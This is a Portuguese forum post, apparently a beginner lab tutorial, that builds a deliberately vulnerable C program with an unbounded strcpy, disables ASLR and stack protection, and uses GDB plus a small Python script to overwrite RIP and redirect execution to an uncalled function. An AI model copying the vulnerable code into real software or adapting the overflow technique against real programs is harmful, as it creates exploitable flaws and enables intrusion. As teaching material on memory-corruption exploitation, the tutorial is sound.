0xdutra Posted July 18, 2021 at 05:04 PM Share Posted July 18, 2021 at 05:04 PM (edited) Neste exemplo, vou utilizar um binário compilado para x86_x64. Porém, o mesmo exemplo pode ser reproduzido num ambiente x86, basta prestar atenção nos registradores. Antes de iniciarmos, desabilite o ASLR. sudo su - echo 0 > /proc/sys/kernel/randomize_va_space Código fonte Crie um arquivo main.c com o código abaixo. #include <stdio.h> #include <string.h> #include <stdlib.h> int copytobuffer(char *input) { char buffer[15]; strcpy(buffer, input); return 0; } void letsprint() { printf("0xdutra.com"); exit(0); } int main(int argc, char *argv[]) { copytobuffer(argv[1]); return 0; } Repare que nosso programa não chama a função letsprint em nenhum momento. Vamos chamar ela atráves da exploração do buffer overflow. Compilando o binário Para compilar, vamos utilizar o GCC, caso não o tenha instalado, rode sudo apt install gcc. gcc -fno-stack-protector -z execstack main.c -o main Exploração A exploração é bem simples, só precisamos controlar a execução do registrador RIP. também conhecido como EIP em ambientes x86. o RIP é o registrador responsável por controlar a próxima instrusão que será executada pela CPU. Vamos utilizar o GDB para analisarmos o binário, caso não o tenha instalado, rode sudo apt install gdb. gdb -q main Agora, vamos precisar encontrar a quantidade de bytes necessário para sobreescrever os registradores até chegarmos no RIP. Como não estamos utilizando nenhuma ferramenta de fuzzing, o processo vai ser bem manual, aconselho você começar a partir dos 20 bytes, visto que nosso buffer possui 15 bytes de tamanho. Com o gdb aberto, rode o comando abaixo. run `perl -e 'print "A" x 20'` No meu caso, não foi o suficiente para sobreescrever o RIP, porém, conseguimos sobreescrever o RBP, isso signifca que estamos indo para o caminho certo, vamos aumentar mais alguns bytes. Novamente, com o gdb aberto, rode o comando abaixo. run `perl -e 'print "A" x 23'` Olha que interessante, achamos a quantidade exata de bytes para começar a escrever dados no registrador RIP, veja que ele está apontando para um byte nulo. Agora, podemos colocar qualquer coisa no registrador. Testando o controle do registrador. run `perl -e 'print "A" x 23 ; print "B" x 6'` Veja que agora no RIP aponta para um endereço x4242…que são exatamente os 6 bytes ‘B’ que colocamos no registrador. Descobrindo o endereço da função Continuando no GDB, vamos precisar descobrir o endereço da função que vamos colocar no RIP para ser executada. Utilize o comando abaixo. disass letsprint No meu caso, o endereço de memória do início da função letsprint é o 0x000055555555517b. Em outro terminal, criei um arquivo memory.py e cole o conteúdo abaixo. #!/usr/bin/python from struct import * buffer = b'' buffer += b'a' * 23 buffer += pack("<Q", 0x000055555555517b) f = open("input.txt", "w+") f.write(buffer) f.write('\n') Lembra-se de trocar o endereço 0x000055555555517b pelo endereço que você encontrou. Execute o comando python memory.py, um arquivo input.txt será criado no diretório que você está. Agora, no gdb, execute o comando abaixo. run $(cat input.txt) Veja que a função letsprint foi executada com sucesso. Agora, vamos sair do gdb e executar o programa que compilamos. quit Agora ./main $(cat input.txt) Referências Hacking - The Art of Exploitation (Jon Erickson) Edited July 22, 2021 at 01:45 AM by 0xdutra 1 1 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.